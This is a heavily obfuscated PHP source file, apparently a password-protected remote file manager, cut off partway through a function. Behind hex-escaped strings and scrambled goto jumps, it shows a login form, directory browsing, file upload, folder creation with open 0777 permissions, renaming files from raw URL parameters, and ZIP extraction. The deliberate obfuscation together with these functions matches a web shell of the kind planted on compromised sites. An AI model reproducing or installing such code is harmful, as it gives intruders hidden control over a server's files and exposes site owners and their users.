"\x64\x61\164\x61\72\x69\155\x61\147\145\x2f\160\156\x67\x3b\x62\x61\163\x65\66\64\54\151\126\x42\x4f\122\x77\x30\113\107\x67\157\101\x41\101\x41\x4e\x53\125\150\105\125\x67\101\x41\101\102\x41\101\101\101\x41\121\x43\x41\x59\x41\101\101\x41\146\x38\57\71\150\101\101\101\101\x30\60\154\x45\121\x56\x51\x34\x6a\144\63\120\x50\x51\162\103\x51\x42\101\106\64\x42\127\105\63\x45\106\163\x76\x4d\153\x32\126\154\67\x41\61\164\65\x74\114\x45\x53\x77\163\143\171\x77\163\x4f\53\x39\x31\111\x4c\130\163\142\x4a\120\x4b\x56\152\x71\x44\x59\124\131\160\x42\103\112\151\130\53\126\162\x35\170\x68\166\x70\154\x78\x37\x76\71\x69\132\147\x4d\101\117\x30\153\x58\x6b\x6c\x64\112\x68\x35\124\x53\71\x4f\126\150\x53\125\144\x4a\60\x63\x79\x47\111\131\123\115\65\x42\x68\101\x4b\x57\x6e\126\103\x64\x53\142\x59\x78\116\115\x38\150\x78\152\x48\114\125\x43\x6b\x69\65\155\x4e\x6d\172\161\153\144\171\123\x6e\114\x63\103\x4a\x4b\x38\150\150\x4f\x78\x4a\x4c\167\145\x77\67\162\162\147\x51\110\114\x38\x57\113\x2b\161\x71\151\x64\x70\104\x32\x44\x53\x43\x71\123\125\160\147\102\x4b\115\x78\163\x38\x44\x43\x38\154\156\x62\172\x33\57\x56\141\147\x76\155\112\106\x38\154\x7a\57\156\x45\x76\x61\x53\x7a\x6f\x56\x52\126\x45\102\x32\x48\x51\x43\x7a\x6a\153\130\x59\x78\x79\x52\x6e\101\x4e\x59\x41\x35\150\64\x37\57\x73\x41\116\x6d\x38\x68\124\142\x6c\104\106\x74\x38\x67\x43\60\155\x7a\152\x34\107\146\65\167\131\x63\x30\64\x4b\x6a\101\x75\132\155\171\x51\101\101\101\x41\102\x4a\x52\x55\x35\x45\x72\153\112\x67\147\x67\x3d\75"; goto X0h2d; DeinE: unset($E0reN); goto Cu8L8; T6Kiq: $CIvJG[19] = "\x53\145\x61\x72\x63\x68"; goto uegp3; X5Ac8: echo $CIvJG[33] . "\x20\72\x20" . $CIvJG[37]; goto v1vH5; n7Efn: function cVcGN($KhbAx, $Kv72x) { goto UuLHF; Kf3B0: GsDLF: goto F7O4y; EcT9V: return true; goto Kf3B0; rfVWz: $MhinT = $CIvJG[33] . "\40\55\40" . $CIvJG[41]; goto UOrEZ; P3D3b: @mkdir($Kv72x, 0777, true); goto Tu8ZV; GXSb4: if (file_exists($Kv72x)) { goto elPMc; } goto P3D3b; xzzK6: goto GsDLF; goto UnAu1; yuoLa: $FnTLE->close(); goto EcT9V; UOrEZ: return false; goto xzzK6; UuLHF: global $MhinT, $CIvJG; goto GXSb4; ePl1P: $FnTLE->extractTo($Kv72x); goto yuoLa; Tu8ZV: elPMc: goto LqCfK; UnAu1: N3zxh: goto ePl1P; cUAoS: if ($n82u0 === TRUE) { goto N3zxh; } goto rfVWz; thRc6: $n82u0 = $FnTLE->open($KhbAx); goto cUAoS; LqCfK: $FnTLE = new ZipArchive(); goto thRc6; F7O4y: } goto URjtI; BVZvf: $CIvJG[9] = "\120\x61\x67\145"; goto oz9we; KkEah: function C49me($nyi6h) { goto e2BIG; n1vtJ: return $v5xEY; goto r0Gk6; zuuGU: SkTjw: goto n1vtJ; Th1OL: foreach (glob(rtrim($nyi6h, "\x2f") . "\57\52", GLOB_NOSORT) as $yLEO0) { $v5xEY += is_file($yLEO0) ? filesize($yLEO0) : C49mE($yLEO0); kNR3k: } goto zuuGU; e2BIG: $v5xEY = 0; goto Th1OL; r0Gk6: } goto n54qN; fcefC: echo "\42\x3e\xd\xa\11\x20\x20\x3c\x6c\x69\76\74\141\40\x68\162\145\146\75\42\x23\42\40\x6f\x6e\143\154\x69\143\x6b\x3d\x22\x53\x65\164\116\145\167\106\x6f\154\144\145\162\x4d\x6f\x64\x61\154\141\x74\x74\162\x28\x29\73\x72\x65\164\x75\162\x6e\x20\x66\141\x6c\163\145\73\42\x3e\x3c\163\160\141\x6e\40\143\154\x61\x73\x73\75\42\103\x46\157\x6c\x64\145\162\111\x63\157\x6e\42\x3e\74\x2f\x73\x70\141\x6e\x3e\40"; goto FSDT_; Ngr1f: die($CIvJG[7]); goto RLAeq; YOgeI: goto aV9K1; goto DcPyK; m5Dei: $CIvJG[18] = "\102\162\x6f\x77\163\x65\40\x64\151\162\x65\143\x74\x6f\162\151\x65"; goto T6Kiq; kUmYl: RNOrf: goto T2D9c; cFnnP: echo "\74\57\142\x75\164\x74\157\x6e\76\x20\15\xa\11\x9\40\x20\74\142\x75\x74\x74\157\x6e\x20\164\x79\160\x65\x3d\42\x62\x75\164\x74\157\x6e\x22\40\143\x6c\x61\163\x73\75\x22\142\164\156\x20\x62\164\x6e\x2d\144\x65\x66\141\165\x6c\164\42\40\x64\141\164\141\55\x64\151\163\155\151\x73\163\x3d\42\x6d\157\x64\141\154\x22\x3e"; goto gZZ59; QQcQG: if ($FNpgA) { goto G1fSK; } goto TeQIq; dRQT0: echo "\x3c\x21\x44\x4f\x43\x54\x59\x50\105\40\x68\x74\155\154\76\15\12\74\x68\164\x6d\154\x3e\xd\xa\74\x68\145\141\144\76\xd\xa\x3c\x74\151\164\154\145\76" . $CIvJG[22] . "\74\57\x74\x69\164\x6c\145\76\15\12\74\155\x65\164\x61\x20\143\x68\x61\x72\163\145\164\x3d\42" . $DzgHR . "\x22\x3e\xd\12\x3c\x6c\x69\156\x6b\x20\150\162\x65\146\x3d\x22" . $dm0oc[12] . "\x22\40\162\x65\x6c\75\x22\151\143\157\156\x22\40\x74\171\160\145\x3d\42\x69\155\x61\x67\145\57\x78\x2d\x69\143\157\x6e\x22\x20\57\76\xd\xa\74\x6d\145\164\141\x20\150\x74\x74\x70\x2d\145\161\x75\x69\166\x3d\42\x58\x2d\125\x41\55\x43\157\155\160\141\x74\151\x62\x6c\x65\x22\40\143\x6f\x6e\164\145\x6e\164\75\x22\x49\105\75\x65\144\x67\x65\x22\x3e\15\xa\74\155\145\164\x61\40\x6e\141\155\x65\75\x22\x76\151\x65\x77\x70\157\162\x74\x22\40\x63\x6f\x6e\164\145\x6e\164\75\x22\167\x69\144\164\150\75\x64\145\166\151\143\x65\x2d\x77\151\144\x74\x68\54\x20\151\156\x69\x74\151\x61\154\55\x73\x63\x61\x6c\x65\x3d\61\42\76\15\xa" . TGcmH() . "\15\xa\x3c\x73\164\x79\x6c\145\x3e\xd\xa\x62\157\x64\x79\x20\x7b\x62\x61\143\x6b\147\x72\x6f\x75\x6e\144\72\x20\x23\106\61\x46\61\106\x31\x20\156\x6f\x6e\x65\x20\162\x65\160\x65\141\164\40\163\x63\x72\157\154\x6c\40\x30\x25\40\60\x25\73\175\15\xa\x2e\x55\x73\145\162\111\x63\157\x6e\x7b\x62\x61\x63\x6b\x67\162\157\165\x6e\x64\x3a\x75\x72\x6c\x28\x20" . $dm0oc[12] . "\51\x20\156\157\x2d\162\x65\x70\145\x61\164\40\154\145\x66\164\40\143\x65\x6e\x74\145\162\x3b\x70\x61\x64\x64\151\x6e\147\72\x20\x35\x70\170\40\x30\x20\x35\160\x78\40\62\x30\x70\x78\x3b\x7d\xd\xa\x2e\x50\x61\163\163\x49\143\x6f\x6e\173\142\141\143\153\147\162\x6f\x75\x6e\144\72\x75\x72\154\x28\40" . $dm0oc[14] . "\51\x20\156\x6f\x2d\162\145\160\x65\x61\164\40\154\145\146\x74\x20\x63\145\x6e\164\145\162\x3b\x70\141\x64\x64\x69\156\147\72\40\x35\160\x78\x20\x30\40\x35\160\170\40\62\x30\160\x78\73\175\xd\xa\x3c\57\163\164\171\154\x65\76\15\12\74\x2f\x68\145\x61\144\x3e\15\12\x3c\142\157\x64\171\76\15\12\x3c\144\x69\x76\x20\143\x6c\141\163\x73\75\x22\143\157\156\164\141\x69\156\145\162\x22\x3e\15\12\x20\x3c\144\151\166\40\143\x6c\x61\163\163\75\42\x63\x6f\x6c\55\163\155\x2d\x34\40\x63\x6f\x6c\x2d\x73\x6d\55\x6f\x66\146\163\145\164\x2d\x34\x22\40\163\x74\171\x6c\145\75\x22\155\141\162\147\x69\x6e\x2d\x74\157\160\72\65\60\160\170\73\x22\x3e\15\12\11\11\x3c\144\151\166\x20\143\x6c\x61\163\163\75\42\167\x65\154\154\x22\x20\163\164\171\x6c\145\x3d\x22\142\141\x63\153\147\x72\157\165\156\x64\55\143\x6f\x6c\x6f\x72\72\40\43\x46\106\106\x3b\x22\x3e\xd\xa\x20\40\40\x20\x20\x20\74\154\x65\147\x65\156\144\x3e" . $CIvJG[22] . "\74\x2f\x6c\145\147\145\x6e\144\76\15\12\x20\40\x20\x20\74\146\157\x72\x6d\40\x61\143\143\x65\x70\164\x2d\143\x68\141\x72\x73\145\x74\x3d\x22" . $DzgHR . "\42\x20\141\x63\164\x69\x6f\x6e\75\x22\x22\40\155\145\x74\150\x6f\144\x3d\x22\160\x6f\163\164\x22\76" . $Yb0gy . "\15\xa\11\11\40\40\x20\x20\x20\40\40\x20\40\40\15\12\40\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\x3c\x64\151\166\x20\143\154\x61\163\x73\75\x22\151\156\x70\x75\x74\55\147\162\x6f\165\160\42\40\163\164\x79\x6c\145\75\x22\155\x61\162\147\x69\x6e\x2d\x74\157\x70\x3a\61\60\160\x78\73\42\76\xd\xa\40\40\40\40\40\40\40\40\40\40\x20\40\40\x20\40\x20\x20\40\40\x20\x20\40\x20\40\x3c\163\x70\x61\x6e\x20\143\154\141\163\x73\x3d\42\151\156\x70\x75\x74\x2d\x67\x72\x6f\165\x70\x2d\x61\144\x64\157\x6e\42\x3e\x3c\151\x20\143\x6c\141\x73\x73\75\x22\120\141\163\163\111\x63\157\156\42\76\74\57\x69\76\x3c\57\163\160\x61\x6e\x3e\15\12\40\40\40\x20\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\74\x69\x6e\x70\x75\x74\40\151\144\75\42\160\x61\x73\163\167\x6f\x72\144\x22\x20\164\171\x70\x65\75\42\x70\141\x73\x73\x77\157\x72\144\x22\40\143\x6c\x61\163\163\x3d\x22\146\157\162\155\55\143\157\156\x74\162\x6f\154\x22\x20\156\x61\x6d\145\x3d\x22\160\141\163\163\x77\x6f\162\x64\x22\x20\x70\154\141\143\145\x68\x6f\x6c\144\145\162\x3d\x22" . $CIvJG[25] . "\x22\76\xd\xa\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\40\x20\40\40\x20\40\40\74\57\144\151\166\76\40\x20\15\xa\x9\x9\11\x9\11\15\12\40\x20\40\x20\40\40\x20\40\74\x62\x75\164\x74\x6f\156\40\x63\x6c\x61\163\163\x3d\42\x62\164\156\x20\142\x74\156\55\x69\x6e\x66\x6f\x20\x62\164\156\x2d\142\x6c\x6f\143\x6b\x22\40\163\164\x79\154\145\x3d\x22\x6d\141\x72\x67\x69\x6e\55\164\x6f\160\x3a\61\60\160\170\x3b\x22\x20\x20\x74\x79\x70\x65\75\42\x73\165\x62\x6d\151\x74\42\x3e" . $CIvJG[23] . "\74\x2f\142\165\164\164\157\156\76\15\xa\x20\40\x20\x20\74\57\146\x6f\162\155\76\xd\12\11\x20\40\x20\x20\x3c\57\144\151\166\x3e\15\xa\x20\x20\x3c\57\144\x69\166\76\15\xa\x3c\x2f\144\151\x76\76\15\xa\xd\xa\xd\12\74\57\142\157\x64\x79\x3e\xd\12\x3c\x2f\x68\x74\155\154\76"; goto zuZX1; J1o2X: echo $CIvJG[30]; goto GS0t5; yo2Ni: if (!(isset($_POST["\165\163\145\162\x6e\x61\x6d\145"]) && isset($_POST["\x70\141\x73\x73\167\157\x72\144"]))) { goto ov8_d; } goto OQGTF; PgBuh: echo "\xe2\x86\x90"; goto DgkBl; jApmG: if (!(isset($_GET["\x52\145\x6d\157\166\145"]) && xU7xx())) { goto Ef9Ko; } goto VVsiQ; XpcLU: echo "\40\72\x20\x3c\143\157\x64\145\40\151\144\x3d\x22\132\x69\x70\146\x69\x6c\x65\x4e\x61\x6d\x65\x22\x3e\x3c\x2f\x63\157\x64\145\76\x3c\x2f\150\x34\x3e\xd\xa\40\40\x20\x20\40\x20\74\x2f\144\151\x76\76\xd\xa\x20\40\40\x20\40\x20\x3c\x64\151\166\40\x63\154\141\x73\x73\x3d\x22\155\x6f\144\141\154\55\x62\157\144\171\42\76\xd\xa\11\x20\40\x20\x20\74\151\156\x70\x75\164\x20\x69\144\x3d\x22\132\151\160\144\x69\x72\42\40\x74\171\160\145\x3d\42\x68\x69\x64\x64\x65\x6e\x22\40\x3e\x9\xd\xa\40\x20\x20\40\x20\x3c\151\x6e\x70\165\x74\x20\143\x6c\141\x73\x73\75\42\146\157\x72\x6d\x2d\143\x6f\156\164\x72\157\x6c\x22\40\151\144\75\x22\106\x6f\154\x64\x65\x72\x55\x6e\x7a\x69\160\x49\x6e\160\165\x74\42\x20\76\15\xa\xd\12\x20\40\40\x20\40\x20\74\x64\151\x76\x20\x69\x64\75\42\x5a\x69\160\114\157\x61\x64\42\76\74\57\144\151\x76\76\15\12\x20\40\x20\x20\40\40\x3c\x2f\144\x69\x76\76\15\xa\x20\40\x20\40\x20\74\x64\x69\x76\40\143\154\x61\163\163\75\x22\155\157\x64\x61\154\x2d\x66\x6f\157\164\145\162\42\x3e\xd\xa\11\40\15\12\11\x20\40\x20\40\74\x73\160\141\156\40\151\x64\75\42\x5a\x69\160\114\141\x62\145\x6c\163\165\143\x63\145\163\163\42\x20\143\x6c\x61\163\163\x3d\x22\x6c\x61\142\145\x6c\x20\x6c\x61\x62\145\154\55\x73\165\143\x63\x65\x73\163\40\160\x75\154\154\55"; goto uZcUd; XGQ05: $CIvJG[22] = "\123\151\147\156\40\151\x6e"; goto BbVk9; jQ86f: if ($xUEaS > 0) { goto ZmJBv; } goto JB2q4; wz7cn: echo $dm0oc[8]; goto Yu8yg; uYQxk: T3cFA: goto FtJec; tA_Rv: unset($IsXKt); goto zYHCr; YO_wj: $Yb0gy = "\74\x69\x6e\160\165\x74\x20\156\x61\155\145\75\x22\165\x73\145\162\156\141\155\145\x22\x20\166\141\x6c\165\x65\x3d\x22\x22\x20\164\x79\160\x65\75\x22\150\151\x64\144\145\156\42\40\76"; goto zg4mv; zyRie: EHO6t: goto YW7ZL; Ncjw1: $CIvJG[8] = "\x41\x63\164\x69\x6f\156\163"; goto BVZvf; R4XcF: $Yb0gy = "\x3c\x64\x69\166\x20\x63\154\x61\x73\163\75\42\151\156\x70\x75\x74\x2d\x67\162\x6f\x75\160\42\40\163\x74\171\x6c\145\75\42\155\x61\x72\147\x69\156\x2d\164\157\160\72\61\60\160\x78\73\x22\76\xd\xa\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\40\40\x20\40\74\x73\160\x61\156\40\143\154\141\163\163\x3d\42\x69\156\x70\165\164\55\147\x72\x6f\x75\160\55\x61\144\x64\x6f\156\x22\x3e\74\151\x20\143\x6c\141\x73\163\75\x22\x55\x73\145\x72\111\143\157\x6e\x22\76\x3c\57\x69\x3e\74\x2f\x73\x70\x61\x6e\76\15\xa\40\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\40\x20\40\x20\40\x20\40\40\40\x3c\x69\156\x70\165\x74\40\151\x64\75\x22\165\163\145\x72\x22\40\x74\171\160\x65\x3d\42\x74\145\170\164\x22\40\143\x6c\141\x73\163\75\x22\x66\x6f\162\x6d\55\143\157\x6e\164\x72\157\x6c\x22\x20\x6e\141\155\x65\x3d\42\165\163\x65\162\156\x61\155\145\x22\40\x76\141\x6c\165\x65\75\42\x22\x20\160\x6c\141\x63\x65\150\x6f\154\x64\145\x72\x3d\42" . $CIvJG[24] . "\x22\76\40\40\x20\x20\x20\40\40\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\40\40\40\40\x20\40\x20\40\40\x20\xd\xa\40\x20\x20\40\40\x20\40\x20\40\x20\40\40\x20\40\40\40\40\x20\x20\40\x20\x20\x20\40\40\x3c\x2f\144\151\166\76"; goto QExbW; XSI7a: echo $CIvJG[33]; goto dPW4x; m3g3X: if ($FNpgA) { goto JT0E_; } goto FgGSp; gq9qU: if ($fxkQy == '') { goto fVhW4; } goto n2RJ7; D0G5c: echo "\x22\76\74\57\163\x70\x61\156\x3e\x20\15\12\11\x20\40\40\x20\x3c\142\165\x74\164\x6f\x6e\40\x20\x74\x79\160\x65\75\42\142\165\164\x74\x6f\156\x22\x20\143\x6c\141\x73\x73\75\x22\142\x74\x6e\40\x62\164\156\x2d\163\x75\143\x63\x65\163\x73\x22\40\40\x6f\156\143\154\x69\x63\x6b\x3d\x22\x72\x65\x6e\141\x6d\x65\x41\x6e\144\x43\x6f\156\164\x65\156\x74\50\51\x22\x3e"; goto Cozm1; ygPQu: echo $CIvJG[19]; goto SVBRF; YEjvX: echo "\x9\x20\x20\xd\12\x20\40\x20\x20\x3c\57\x75\154\76\xd\12\x20\40\74\x2f\x6c\151\x3e\15\12\x3c\57\165\154\76\xd\12\x9\40\xd\xa\x20\40\40\40\40\x20\40\x20\74\144\x69\x76\x20\143\x6c\x61\163\163\40\75\x20\42\156\x61\x76\x62\x61\162\55\146\x6f\x72\x6d\40\156\x61\166\142\141\x72\x2d"; goto en_wu; jOKJ4: function if6KA() { goto N05zX; d2Nz3: jXOja: goto hTn7I; SxcH3: goto Siw48; goto d2Nz3; UJHce: CwwgP: goto tHX47; F3TGw: if (isset($_SESSION["\154\x6f\x67\x69\156"])) { goto jXOja; } goto MxFth; G24tY: Siw48: goto dZe0u; tHX47: return true; goto EbjJ_; EbjJ_: UGB3e: goto G24tY; f52sp: return false; goto jbTcb; hTn7I: if ($_SESSION["\x6c\x6f\147\151\156"]["\x75\163\x65\x72"] == $ru43X && $_SESSION["\154\157\x67\x69\156"]["\160\x61\163\163"] == $nKZYh && $_SESSION["\x6c\157\147\151\156"]["\163\164\x61\164\165\163"] == "\x31") { goto CwwgP; } goto f52sp; jbTcb: goto UGB3e; goto UJHce; N05zX: global $ru43X, $nKZYh; goto F3TGw; MxFth: return false; goto SxcH3; dZe0u: } goto J74kC; pOGiL: $Pnn97 = array("\141\x72", "\x61\162\143", "\x62\143\x63", "\142\161\151", "\143\x6b\142", "\x64\166", "\146\x61", "\x67\x6c\x6b", "\x68\145", "\154\162\143", "\x6d\172\156", "\x70\x6e\x62", "\x70\x73", "\x73\x64", "\165\147", "\x75\162", "\171\151"); goto xahD6; GHUfD: $MhinT = T0A3I($MhinT); goto uYQxk; mmnOP: echo $CIvJG[39]; goto Di98v; QYO1E: $Neukl = array_slice($Neukl, $ytDfk, $aStw9); goto KFviw; IAPBG: echo $dm0oc[10]; goto WRkl3; aPa8s: unset($FNpgA); goto buXcL; NP24e: @rename($_GET["\162\145\156\141\x6d\145"], $E0reN . "\x2f" . $_GET["\156\145\167\x72\x65\156\141\x6d\x65"]); goto xKpo4; b02V3: echo $CIvJG[15]; goto s4Hko; ClLKi: echo "\42\40\40\162\157\x6c\x65\x3d\x22\x73\x65\x61\162\143\150\x22\76\15\xa\40\40\x20\40\x20\x20\40\x20\74\x64\151\166\40\x63\154\x61\163\163\75\42\151\x6e\160\x75\164\x2d\x67\x72\x6f\x75\160\x22\x3e\xd\12\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x3c\x69\156\160\x75\164\x20\164\x79\x70\x65\x3d\42\164\x65\x78\164\x22\x20\143\x6c\141\163\163\75\42\x66\x6f\x72\x6d\x2d\x63\x6f\156\164\162\157\x6c\x22\x20\x69\144\x3d\42\x69\156\x70\x75\164\123\x65\x61\162\143\150\42\40\160\x6c\141\x63\145\150\157\154\144\x65\x72\x3d\x22"; goto ygPQu; UiTFp: echo "\47" . implode("\47\54\x27", $MTWgC[2]) . "\x27"; goto hYLcd; Qd8Mq: unset($Neukl); goto e_oHw; LML6O: unset($dm0oc); goto Jn45L; zpqzU: echo "\40\74\x69\x6e\160\x75\164\x20\156\x61\x6d\x65\75\42\x69\x6e\160\x75\164\x46\x69\x6c\145\125\160\x6c\x6f\x61\144\x5b\x5d\x22\x20\x74\x79\x70\x65\75\42\146\151\154\145\x22\40\x6d\x75\x6c\x74\151\x70\154\x65\40\76\xd\12\x20\40\40\40\x20\x20\40\40\40\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x3c\x2f\163\160\x61\x6e\x3e\x20\xd\12\x20\40\x20\x20\40\40\40\40\40\x20\40\40\x20\x20\x20\40\74\x2f\x73\160\x61\x6e\76\15\xa\40\x20\40\x20\40\x20\x20\40\x20\x20\40\40\x20\40\x20\x20\74\151\156\x70\165\164\40\164\171\x70\145\x3d\42\164\x65\x78\164\x22\x20\x63\x6c\141\163\x73\x3d\42\146\157\x72\x6d\x2d\143\x6f\156\164\x72\157\x6c\42\40\162\x65\141\144\157\156\154\171\40\x69\144\75\x22\x69\x6e\x70\x75\164\106\x69\x6c\145\x55\160\154\157\141\144\42\x3e\15\12\x20\x20\40\x20\40\40\40\x20\40\x20\40\x20\x3c\57\x64\151\166\76\11\15\12\11\x9\x9\15\xa\x20\40\x20\x20\40\40\74\x2f\x64\151\166\76\15\xa\x20\40\x20\x20\40\74\x64\151\x76\x20\x63\x6c\141\x73\x73\x3d\42\x6d\x6f\144\x61\x6c\55\x66\x6f\x6f\x74\145\x72\42\76\xd\12\x9\40\15\12\11\x20\40\40\40\74\x73\x70\x61\x6e\40\151\144\75\x22\106\151\x6c\145\x55\x70\154\157\x61\144\114\141\x62\x65\x6c\163\165\x63\x63\145\163\163\x22\40\143\154\141\163\x73\75\x22\154\x61\142\145\x6c\x20\x6c\141\x62\145\154\55\x73\165\x63\143\145\x73\163\40\x70\165\154\154\55"; goto y0vOF; EZOim: echo "\x27\51\x3b\15\xa\x9\x9\x9\11\44\56\x67\x65\164\x4a\123\x4f\x4e\50\x22\77\164\141\x62\154\x65\46\x64\151\x72\75\x22\x2b\144\x69\162\x2b\x22\x26\43\144\151\x72\x65\143\164\x6f\162\171\x22\x2c\40\x66\x75\156\x63\164\151\157\156\50\x72\x65\163\x75\x6c\164\51\173\x20\x24\x28\x22\x23\122\x65\x73\x75\x6c\164\x22\51\x2e\x68\x74\x6d\154\50\162\x65\x73\x75\x6c\164\x2e\164\x61\142\154\145\51\73\40\x24\x28\47\43\x69\155\147\125\x72\x6c\x27\x29\56\x68\164\x6d\x6c\x28\x27\x23"; goto FfGk8; QQJ1c: unset($KNI8z); goto pxxbT; NYfvK: unset($ytDfk); goto yjkeS; u5J6U: echo $CIvJG[3]; goto GNT9a; deU6_: if ($fxkQy == '') { goto qLyNX; } goto vjMnP; ajRay: $Neukl = $Dmxoi["\x6c\151\163\x74"]; goto HNn0X; koeuK: @mkdir($E0reN . "\57" . $_GET["\156\x65\167\146\157\x6c\x64\145\162"], 0777, true); goto NmzhI; siHRj: $MTWgC[1] = array(); goto pOGiL; nMu1Y: echo "\74\x2f\x62\165\x74\164\x6f\156\76\15\12\11\x9\40\xd\xa\11\40\x3c\x2f\144\151\x76\x3e\15\xa\40\x20\x20\40\x3c\57\x64\151\x76\76\xd\12\xd\xa\40\40\x3c\x2f\144\151\x76\x3e\15\xa\74\x2f\x64\x69\x76\x3e\11\xd\xa\15\xa\xd\xa\74\x21\x2d\x2d\x20\115\x6f\144\141\154\x20\x55\160\154\x6f\141\x64\106\x69\154\145\40\55\55\76\15\12\74\x64\x69\x76\40\151\x64\x3d\x22\125\160\x6c\x6f\x61\x64\106\x69\x6c\145\42\x20\143\154\x61\163\x73\x3d\x22\x6d\157\144\x61\x6c\40\146\141\144\145\x22\x20\162\x6f\x6c\x65\x3d\42\144\x69\141\x6c\157\147\42\x3e\xd\xa\x20\x20\74\144\x69\166\40\x63\154\141\163\163\x3d\42\155\x6f\x64\x61\x6c\x2d\x64\x69\141\154\x6f\147\x22\x3e\xd\xa\xd\xa\40\x20\40\40\74\41\x2d\x2d\x20\115\157\x64\x61\154\40\143\x6f\156\x74\145\x6e\164\55\x2d\x3e\15\12\40\x20\x20\x20\x3c\144\151\166\x20\x63\x6c\x61\163\163\x3d\42\155\157\x64\x61\x6c\x2d\143\157\x6e\164\x65\156\x74\x22\76\xd\12\11\40\15\12\x20\40\40\40\x20\x20\74\144\x69\x76\x20\x63\x6c\x61\x73\163\x3d\42\155\157\x64\x61\154\x2d\150\x65\141\x64\x65\162\x22\x3e\15\12\40\x20\40\40\x20\40\x20\x20\x3c\x62\x75\164\164\157\156\x20\164\171\x70\x65\x3d\42\142\165\164\164\x6f\x6e\42\40\143\154\141\x73\163\x3d\x22\x63\154\157\163\x65\x22\40\x64\141\164\141\55\144\151\163\x6d\x69\x73\x73\75\42\155\x6f\x64\141\154\42\76\46\x74\x69\x6d\x65\x73\73\74\57\x62\165\164\164\x6f\156\x3e\15\xa\40\40\x20\40\40\x20\40\40\74\150\64\x20\143\x6c\x61\x73\163\75\42\x6d\x6f\x64\141\x6c\x2d\164\151\x74\x6c\x65\x22\x3e"; goto lzKAV; IXqt_: if (!$KNI8z) { goto vQg_4; } goto iZPJm; jlv21: echo "\x27" . implode("\x27\54\x27", $qJrrE) . "\x27"; goto mwjrA; j8mN8: echo "\51\x20\156\x6f\x2d\x72\x65\160\x65\141\164\x20\154\x65\146\x74\40\143\145\x6e\164\145\x72\73\x20\x70\141\x64\x64\x69\156\147\72\x20\65\x70\x78\x20\60\40\x35\160\170\40\x32\x35\160\170\73\x6d\141\x72\x67\x69\156\x2d\x6c\x65\x66\x74\72\x20\65\160\170\x3b\x7d\11\x9\xd\xa\56\x43\106\x6f\x6c\144\145\162\111\x63\x6f\156\x20\173\142\141\x63\x6b\147\162\x6f\165\156\x64\x3a\165\162\154\x28"; goto Ii95K; spzlX: $imz7x = 1; goto ha16b; GR1uF: $CIvJG[35] = "\114\157\x61\144\x69\156\x67\x20\56\x2e\56"; goto MGhcK; U6VXk: $dm0oc[2] = "\144\x61\x74\141\x3a\x69\x6d\141\x67\145\x2f\x70\156\147\73\x62\x61\x73\145\66\x34\54\x69\126\x42\x4f\x52\x77\x30\x4b\107\147\x6f\x41\x41\101\101\x4e\x53\125\150\x45\x55\147\x41\x41\101\x42\x41\101\x41\x41\x41\x51\103\x41\x59\101\101\x41\x41\146\70\x2f\71\x68\101\101\x41\101\x74\60\x6c\x45\x51\x56\x51\x34\152\x65\x32\x54\x4d\x51\x6f\103\115\x52\x42\106\144\171\x74\142\x51\126\x74\x62\x6a\x2b\x45\x4e\122\x46\166\x42\61\153\142\x59\103\62\167\61\x49\101\122\130\x64\155\142\53\131\117\105\61\x50\111\113\116\x4e\57\x41\53\163\x58\105\x68\150\x6d\122\x78\x74\146\x58\104\x4e\x47\110\53\x6d\x7a\x38\x6b\x4b\x59\161\x45\x41\x46\x78\125\154\145\x49\x43\70\x43\103\x69\x61\143\162\172\112\x6c\127\154\x31\114\x6d\x5a\115\x59\x42\172\126\126\x57\x6a\154\x47\156\x64\x54\x54\113\x7a\127\172\102\x31\107\64\x4b\132\145\123\x59\x69\112\x2b\x39\71\107\143\143\53\132\161\142\x65\126\130\125\124\x72\x6d\132\155\x56\167\103\x37\152\x32\x4b\57\x55\x75\x7a\142\164\x6c\x33\x30\71\x76\143\101\107\x75\71\71\113\123\111\x48\132\160\64\x50\102\x6f\x6a\111\x4b\x72\x79\112\167\131\102\143\x7a\x78\57\x77\111\x34\x43\x49\170\147\x44\161\167\x59\x44\165\x69\x51\x4f\x6f\x6e\130\117\x54\x72\x78\x4d\x6b\154\146\166\x43\x51\x54\125\x69\163\157\170\71\124\60\154\102\163\63\x55\x7a\x6b\x42\117\124\101\101\101\x41\x41\105\154\x46\124\x6b\x53\x75\121\x6d\103\x43"; goto UuLAS; rjlTX: qLyNX: goto dkbWD; Ef4oc: die(sl0l0($gN4dV)); goto yuwCi; Pklrl: die(sl0L0($gN4dV)); goto CxAu4; XK7sJ: echo $CIvJG[14]; goto cDCra; ObmPb: $CIvJG[2] = "\x45\144\x69\164"; goto Gg9Sf; HlASH: unset($_GET); goto tH354; xpJrT: goto T2X82; goto UvEsb; XNFuQ: unset($Pnn97); goto MVTZH; F7zz6: echo $CIvJG[35]; goto nycVj; jjFTy: function ZWuY5() { goto fxnRO; k7DNL: ng4gB: goto m20EY; m20EY: return $k8LVN; goto mP6zx; ZQkzk: foreach ($egz37 as $MwLeW) { goto R33iZ; yy2F9: $q6siA = $q6siA . "\57" . $MwLeW; goto YzAoV; u_yI4: NiSVF: goto OiyfE; j2IeC: uxpjv: goto u_yI4; R33iZ: if (!($MwLeW != "\56")) { goto uxpjv; } goto yy2F9; YzAoV: $k8LVN .= "\x3c\154\151\76\74\141\40\150\162\x65\x66\x3d\42\43\42\40\x6f\156\143\x6c\151\143\153\x3d\42\147\x65\164\103\x6f\156\164\x65\156\164\50" . "\47\144\x69\x72\75" . $q6siA . "\x26\160\x61\147\145\75" . $xUEaS . "\47" . "\54\x30\51\73\40\162\x65\164\165\x72\156\x20\x66\x61\154\163\x65\x3b\x22\76" . $MwLeW . "\74\x2f\x61\76\74\57\154\151\76"; goto j2IeC; OiyfE: } goto lie83; hfcnb: $egz37 = explode("\57", $E0reN); goto AtElA; lie83: aieHw: goto k7DNL; HkSYV: $k8LVN = "\x3c\154\151\x3e\x3c\141\40\x68\162\x65\x66\x3d\42\43\x22\x20\x6f\x6e\143\154\151\x63\153\x3d\42\x67\x65\164\x43\157\156\164\145\x6e\x74\x28" . "\47\144\x69\162\75\x2e" . "\x27" . 